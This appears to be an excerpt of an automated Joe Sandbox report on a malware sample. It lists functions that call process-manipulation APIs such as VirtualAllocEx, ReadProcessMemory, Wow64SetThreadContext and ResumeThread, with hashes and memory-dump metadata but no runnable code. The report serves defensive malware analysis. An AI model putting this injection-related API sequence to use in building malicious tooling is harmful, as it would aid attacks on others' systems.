DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0130D387

Memory Dump Source

Source File: 00000000.00000002.1721066910.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1300000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 32736e40ab7d6dfbd67b7aae2b679b408fdfa30dbec440c316dafcc278f26038
Instruction ID: da068ecf5a46db99430edb11dd0b7cff901a0738b4a555678c81d781f7f2c39a
Opcode Fuzzy Hash: 32736e40ab7d6dfbd67b7aae2b679b408fdfa30dbec440c316dafcc278f26038
Instruction Fuzzy Hash: 292103B59002489FDB10CFAAD584AEEFFF4EB48310F14805AE958A3250C374A945CFA0

Function 05A89540 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 05A895C0

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 6bdf2ca59b59c1973e5a5b0be49c2107f28558878ef45ca0a5546591d670511f
Instruction ID: 2e5caa7518c8f4b20cdcca009b484dd83f8396c24730bcb23893a374c17140a8
Opcode Fuzzy Hash: 6bdf2ca59b59c1973e5a5b0be49c2107f28558878ef45ca0a5546591d670511f
Instruction Fuzzy Hash: 6A2139B1D003599FCB10DFAAC840AEEFBF5FF48310F108429E559A7250C7349544CBA4

Function 05A88A48 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05A88AC6

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 4f5c9ce8de754e313d090937c68b93ba7cbd6b38d89274090a0cdb7a3aa79e10
Instruction ID: a531e890c62c8ee8be6bb162117c5f6cc66139ee42dff21816463f92d3ab55d3
Opcode Fuzzy Hash: 4f5c9ce8de754e313d090937c68b93ba7cbd6b38d89274090a0cdb7a3aa79e10
Instruction Fuzzy Hash: E4211AB29042098FDB10DFAAC445BEEFBF4EF48314F548429D459A7241CB78A544CFA5

Function 0130D300 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0130D387

Memory Dump Source

Source File: 00000000.00000002.1721066910.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1300000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1a511c96adf0c1780861c09650630ddc42b940afb56f9e7c732fa55ca1335794
Instruction ID: 4bd725c1e07e98cdf1a9214a1921cc22c74697c951bac8d9fc6a5dba7c3077a6
Opcode Fuzzy Hash: 1a511c96adf0c1780861c09650630ddc42b940afb56f9e7c732fa55ca1335794
Instruction Fuzzy Hash: 8921E4B5900248DFDB10CF9AD984ADEFFF8EB48310F14841AE958A7350C374A954CFA4

Function 05A88A41 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05A88AC6

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d06f513b85b085891c9a4890b4021fc8db3b23cd93c6a7185e0258bce140b410
Instruction ID: e3cc34da47f3c19725fee7c3349c4818493da0a2169c54c00af174783284cf93
Opcode Fuzzy Hash: d06f513b85b085891c9a4890b4021fc8db3b23cd93c6a7185e0258bce140b410
Instruction Fuzzy Hash: C62137B69002098FDB10DFA9C585BEEFBF4EF48314F54882AD459A7241CB78A544CFA4

Function 05A89388 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 05A893FE

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f100a0d0bba4d197fec1eddc736809826ad17592d4c4e3b6dc10ff4d2afa647f
Instruction ID: 9354cfe9945cd61ee5a03cc3394af42cd812225b50106c90eab8b0d7f0993888
Opcode Fuzzy Hash: f100a0d0bba4d197fec1eddc736809826ad17592d4c4e3b6dc10ff4d2afa647f
Instruction Fuzzy Hash: 32115672900248DFCB20DFAAC845BEFBBF5EF88324F148419E559A7250C775A544CFA4

Function 0130A870 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0130B101,00000800,00000000,00000000), ref: 0130B312

Memory Dump Source

Source File: 00000000.00000002.1721066910.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1300000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7f831569065e1c16148dc87307e87d13b0693e4a740a696a56349e7dc096eb08
Instruction ID: 86cf75080362f35487ced5a89e4309d307fc2981d722972f047a115285552459
Opcode Fuzzy Hash: 7f831569065e1c16148dc87307e87d13b0693e4a740a696a56349e7dc096eb08
Instruction Fuzzy Hash: 1F1112BA9003499FDB20CF9AD444ADEFBF8EF48314F10842AE959A7350C375A944CFA4

Function 05A89390 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 05A893FE

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 904707ebc689202b851e68d760d3c5c5f6096ca3ebd3d9953fd16eadff0f32c3
Instruction ID: 638d211379189ee6c0c8b58ce736c6bc3e3d0f7d2e5a6b1b03a2b2d21f48419e
Opcode Fuzzy Hash: 904707ebc689202b851e68d760d3c5c5f6096ca3ebd3d9953fd16eadff0f32c3
Instruction Fuzzy Hash: FA1126729002499FCB10DFAAC844AEFBBF5EF88324F108419E559A7250C775A554CFA4

Function 0130B2A3 Relevance: 1.6, APIs: 1, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0130B101,00000800,00000000,00000000), ref: 0130B312

Memory Dump Source

Source File: 00000000.00000002.1721066910.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1300000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 09d6af2b2c7c6fc3313cb8316d2684127611181ae36fc936d8782d080f802e00
Instruction ID: 8f8164677ad04a17076e658c96c9fa03ae8ea271104f34f1d23e33ab5f6b4482
Opcode Fuzzy Hash: 09d6af2b2c7c6fc3313cb8316d2684127611181ae36fc936d8782d080f802e00
Instruction Fuzzy Hash: CA1123BA8002498FDB14CFAAC444ADEFBF4EF88314F10846AD959A7251C375A545CFA0

Function 05A88990 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,4005A5D3), ref: 05A889FA

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c2a26a34364e75ba6d9385a03a69f1ee154c40cbfff315b3d47b4e8d27a16550
Instruction ID: dfdff24a1003c765e27eb2fde187e4e0ad5b319b645a0cc01e680e9ec07d5a83
Opcode Fuzzy Hash: c2a26a34364e75ba6d9385a03a69f1ee154c40cbfff315b3d47b4e8d27a16550
Instruction Fuzzy Hash: 6B115BB19042498BCB20DFAAC444BEFFFF4AF88324F108819D599A7250CB39A944CB94

Function 05A88998 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,4005A5D3), ref: 05A889FA

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 9f4aaf96f8062555270f15c84fdc7d9c932217feb5157f6980e56bd1af738bba
Instruction ID: 4641c3a022d7f136d9c82ba6fb7a430011cb8db4c8f77f321a5571f22d25f56b
Opcode Fuzzy Hash: 9f4aaf96f8062555270f15c84fdc7d9c932217feb5157f6980e56bd1af738bba
Instruction Fuzzy Hash: B5113AB19042498FCB20DFAAC4457EEFBF4EF88324F208819D459A7250CB79A544CF95

Function 0130B01B Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0130B086

Memory Dump Source

Source File: 00000000.00000002.1721066910.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1300000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ea619777abd79dbc4be9d413c819c8b3abd478a737aea2360bececf7d0901b95
Instruction ID: 6723c5c4396b67fbba1451a787b6c7efe84047d78aad76b57912eb3db7808669
Opcode Fuzzy Hash: ea619777abd79dbc4be9d413c819c8b3abd478a737aea2360bececf7d0901b95
Instruction Fuzzy Hash: F41120B6C002498FDB20CFAAD444ADEFBF4AF88314F14845AC468B7251C375A549CFA0

Function 0130B020 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0130B086

Memory Dump Source

Source File: 00000000.00000002.1721066910.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1300000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: a3fe88b011a9b035197d34472241746fdcb4241f5709ed1b7b13cd2040e3e500
Instruction ID: 322d3b4c63b52b25993baa9688bf612fe1b72417290ee6f0b772635c0acd885c
Opcode Fuzzy Hash: a3fe88b011a9b035197d34472241746fdcb4241f5709ed1b7b13cd2040e3e500
Instruction Fuzzy Hash: A511D2B6C003498FDB20DF9AD444ADEFBF4AB48314F10841AD569B7250C375A545CFA5

Function 05A8DFC9 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 05A8E02D

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 6d3f46860278fb340ef79c4d06f489fd2ca058e071c7626ba309c5b28f3864bd
Instruction ID: 07bf9a1451e261e7bb57cc0281f80789f2f92641d5b1e85ff8536feac6a9ee1f
Opcode Fuzzy Hash: 6d3f46860278fb340ef79c4d06f489fd2ca058e071c7626ba309c5b28f3864bd
Instruction Fuzzy Hash: 141125B5800349CFDB10DF99D944BEEBBF8FB08310F14884AD458A7211C379A544CFA0

Function 05A8AB50 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 05A8E02D

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: fce9ad2214c97333eb1ea8ca46d7129ced15f097fa72f0121f2076e64a900242
Instruction ID: 33e60376e6139d92c7f2cd81844a6099ff15262f7f836a0ef1ae2297ffa605b0
Opcode Fuzzy Hash: fce9ad2214c97333eb1ea8ca46d7129ced15f097fa72f0121f2076e64a900242
Instruction Fuzzy Hash: AB11F2B5804348DFCB20DF9AD844BEEBBF8EB48324F108419E958A7300D375A984CFA5

Function 0129D1FC Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720479037.000000000129D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0129D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_129d000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa055cdb8a87e831d472cd8e7a4a69cf9ea73870acaee51c414d923206a16892
Instruction ID: 1ca4f83db2e00bb59bac0d213fc00754a9b38ad305b4fe26dade716f3cf83d54
Opcode Fuzzy Hash: fa055cdb8a87e831d472cd8e7a4a69cf9ea73870acaee51c414d923206a16892
Instruction Fuzzy Hash: 6521F471914208DFDF05DF98D9C4B2ABF65FB88320F20C5A9E9090A257C376D416DBA1

Function 012AD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720585679.00000000012AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12ad000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dec96502a32a74f86f852fd373e6350494b27d9a8ee8dc5991a95211f495148
Instruction ID: ffa64ab6cebec9c618dfeb10ee761fc0a0bf756fde56c6242040ee7c109ec5f7
Opcode Fuzzy Hash: 5dec96502a32a74f86f852fd373e6350494b27d9a8ee8dc5991a95211f495148
Instruction Fuzzy Hash: CC216470294208DFCB11DF68D9C0B26BFA1FB88314F60C56DD90A4B656C37BD407CA61

Function 012AD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720585679.00000000012AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12ad000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45187ff6465b283bb8d9e233ab31898c1432f48c9e2f75189b3216ccd282cf09
Instruction ID: fe10be587888b007c5a38d6662418468528b8e0a6189df10f4dc1bf9fad838ae
Opcode Fuzzy Hash: 45187ff6465b283bb8d9e233ab31898c1432f48c9e2f75189b3216ccd282cf09
Instruction Fuzzy Hash: 29214671514208EFDB01DF98CAC0B26BBA5FB84324F60C66DE9094B657C37AD846CA61

Function 012AD006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720585679.00000000012AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12ad000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ce8673a6f43958d6b80a0f5c8b328d8298d3819c10128f122ceeb6f3c9a8c0d
Instruction ID: a6c97783be22603693a32aa6bc9802ded76a8556a328c31105b4246d2312d2b7
Opcode Fuzzy Hash: 4ce8673a6f43958d6b80a0f5c8b328d8298d3819c10128f122ceeb6f3c9a8c0d
Instruction Fuzzy Hash: 1221B0714483849FCB03CF24D994711BF71EB46314F28C5DAD9498F6A7C33A980ACB62

Function 0129D1F7 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720479037.000000000129D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0129D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_129d000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4a9c2a4520ad29cc5014b186a1537c42efb92585eeaa8902cc1b22a323ac8e1
Instruction ID: 98e4be779c527bef0f8698e4463c6da67b4a19e9a77f99a127bfb7bdfb9ee86a
Opcode Fuzzy Hash: d4a9c2a4520ad29cc5014b186a1537c42efb92585eeaa8902cc1b22a323ac8e1
Instruction Fuzzy Hash: 8C21CD76804244CFDF06CF58D9C4B16BF62FB84324F24C1AADD080A257C33AD42ADBA1

Function 012AD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720585679.00000000012AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12ad000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 6cbf149e0b167613253fcf4347b9d45a4fff452cebfbc2f244c48e1e8f304eae
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 2511BB75504284DFDB02CF54C5C4B15BFA1FB84324F24C6AAD9494B6A7C33AD40ACB61

Function 0A830448 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1730916890.000000000A830000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a830000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df417b31f364badd1e1f6a117e9805d07cbc8734d04e06fb72caaf437245dae6
Instruction ID: c3c33cc68e1788b7aabf981a77a03eb7088e826f968308106ba7a2242d90dd03
Opcode Fuzzy Hash: df417b31f364badd1e1f6a117e9805d07cbc8734d04e06fb72caaf437245dae6
Instruction Fuzzy Hash: A6D0123714410C5E8B81EE95E800D5277ECBB147407008462E548CB421E621F534DB91

Non-executed Functions

Function 05A872B8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30da370c2e75fe5a3a584df15da62ffbecf0074ca9d488fc67defdb276735f70
Instruction ID: ead77574a850ad72a5af1068b308b7ad97b8b481fc40528065f72c1d9a2e2216
Opcode Fuzzy Hash: 30da370c2e75fe5a3a584df15da62ffbecf0074ca9d488fc67defdb276735f70
Instruction Fuzzy Hash: E8E10B74E141198FDB14DFA9C5809AEFBF2FF89304F24816AE414AB356D731A942CFA1

Function 05A88F58 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47e9e47e8337f248e1c72d18f6b5c9b3b53a2a576defa96872dd328c44b3247f
Instruction ID: 667f9462bb18894dcfef414857446f0e4a4c688b03830c31356d137b9b6c95f6
Opcode Fuzzy Hash: 47e9e47e8337f248e1c72d18f6b5c9b3b53a2a576defa96872dd328c44b3247f
Instruction Fuzzy Hash: BFE1F874E041199FDB14DFA9C5809AEFBF2FF89304F24816AE415AB35AD730A942CF61

Function 05A86E80 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d61837b6b4e1351c2804640dd68a91596eeb685af840cfbe5d1c84bb683a5c17
Instruction ID: 43f87d701a40f197eb2c2be7146d39e960a531366e7c51136aa220cf591ef485
Opcode Fuzzy Hash: d61837b6b4e1351c2804640dd68a91596eeb685af840cfbe5d1c84bb683a5c17
Instruction Fuzzy Hash: 61E1E774E041198FDB14DFA9C5809AEFBF2FF89304F24816AE415AB356D731A982CF60

Function 05A88B20 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d19654f1aefba35d128c1e7cb244c914a7b3462432809d5d901ec1baa67924ad
Instruction ID: e1b0d6e02c0f1e66d31a196a80ff23c2a253786c53c48a46ac0e1a919052b034
Opcode Fuzzy Hash: d19654f1aefba35d128c1e7cb244c914a7b3462432809d5d901ec1baa67924ad
Instruction Fuzzy Hash: B8E11D74E011198FDB14DFA9C5809AEFBB2FF89304F24855AE415AB35ADB34AD42CF60

Function 05A86A48 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d78d948359444f6442d66f3e754ebb4fc13528caf6e6aba685ed830f85f0822c
Instruction ID: 1fa636824b3860b27490b03525563f225108636a358e3fd548efda43b362f730
Opcode Fuzzy Hash: d78d948359444f6442d66f3e754ebb4fc13528caf6e6aba685ed830f85f0822c
Instruction Fuzzy Hash: C9E1FA74E041198FDB14DFA9C5809AEFBF2FF89304F24816AD415AB356D730A942CF65

Function 05A80006 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a480b2e24d974f657f928d170363b23524e5c254eee4d64d6b832af49c9cdd08
Instruction ID: abdbe34071627e70e479d5eea76963d0b37cedfd38bc69f89cead3cce020d2ca
Opcode Fuzzy Hash: a480b2e24d974f657f928d170363b23524e5c254eee4d64d6b832af49c9cdd08
Instruction Fuzzy Hash: B4C1D670D05268CFDB64DFA5C848BEDBBB2FF4A304F0191AAD459A7251EB74098ACF11

Function 05A80040 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33daf868c7ccbe7b91a4e45f60515ae8641e4530eb5d86c585d682aa1fdc688f
Instruction ID: d08c3ccd28a472fae390b4c585b6b823c02de13e49169ddd9dcb990f53cdd535
Opcode Fuzzy Hash: 33daf868c7ccbe7b91a4e45f60515ae8641e4530eb5d86c585d682aa1fdc688f
Instruction Fuzzy Hash: 35B1A270D05228CFDB64DFA5C848BEEBBB6FF4A300F1091A9D419A7251EB741989CF11

Function 0130DC74 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1721066910.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1300000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b3ee469e19c8bb2edd4b959941681a8065483d42826aeaa86d8f105df49586f
Instruction ID: 80849cce7ac15f804a4e896f90bff85b118d595fe1df6bf5e376d2614731515e
Opcode Fuzzy Hash: 5b3ee469e19c8bb2edd4b959941681a8065483d42826aeaa86d8f105df49586f
Instruction Fuzzy Hash: BAA19F36E0020ACFCF16DFB8C85059EBBF6FF84304B15456AE905AB2A5DB71E955CB80

Function 05A80620 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45b3128b9f83f558de4c690bfeec4e21ca3e1741ac0c9463ce405e7565ef51a7
Instruction ID: 519c65b6624f20f0ea64548a20e592df582523a943cff5960035b43d48c29a99
Opcode Fuzzy Hash: 45b3128b9f83f558de4c690bfeec4e21ca3e1741ac0c9463ce405e7565ef51a7
Instruction Fuzzy Hash: 5761E174E055199FCB04DFAAD5849AEFBF2FF88300F24C169E409A7355DA30A946CF90

Function 05A86A15 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6bfda7f3d4b4fc91e89b291e0a79ce6bedcebca0dd28d3ce513f471c88748b6
Instruction ID: 483ef7012cd289a294061365d40a96113b3e97106ad25306aae0b511e974b69f
Opcode Fuzzy Hash: b6bfda7f3d4b4fc91e89b291e0a79ce6bedcebca0dd28d3ce513f471c88748b6
Instruction Fuzzy Hash: D7512B70E052198BDB14DFA9C9449AEBBF2FF89304F24816AD418AB356D7309942CFA1

Function 05A88F48 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d9c4056c3694057f34ebcf9841b1a8babf9f4db7f8141f09a1878331683e0ac
Instruction ID: 516a7e10f65ed953e94dc5decd4c2946c84d2f4b4d0d6d79f982f40fbf514aee
Opcode Fuzzy Hash: 2d9c4056c3694057f34ebcf9841b1a8babf9f4db7f8141f09a1878331683e0ac
Instruction Fuzzy Hash: 9951FC70E042199FDB14DFAAC5819AEFBB2FF89304F24C16AD418A7356D7319942CFA1

Function 05A80611 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726548494.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a80000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 330d558b2af7cf8528b5954ae076d9c0db6877c569885725699881ae6f182119
Instruction ID: c8247deef3f9cd5eabe08734db8e197b2ca4e74eab1fe88384e61452d52025dd
Opcode Fuzzy Hash: 330d558b2af7cf8528b5954ae076d9c0db6877c569885725699881ae6f182119
Instruction Fuzzy Hash: E741E675E015189FDB08DFAAC884AAEFBF2FF88310F14C56AD408A7355DA309946CB50

Analysis Process: LisectAVT_2403002A_16.exePID: 7544, Parent PID: 6668COMMON

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	0

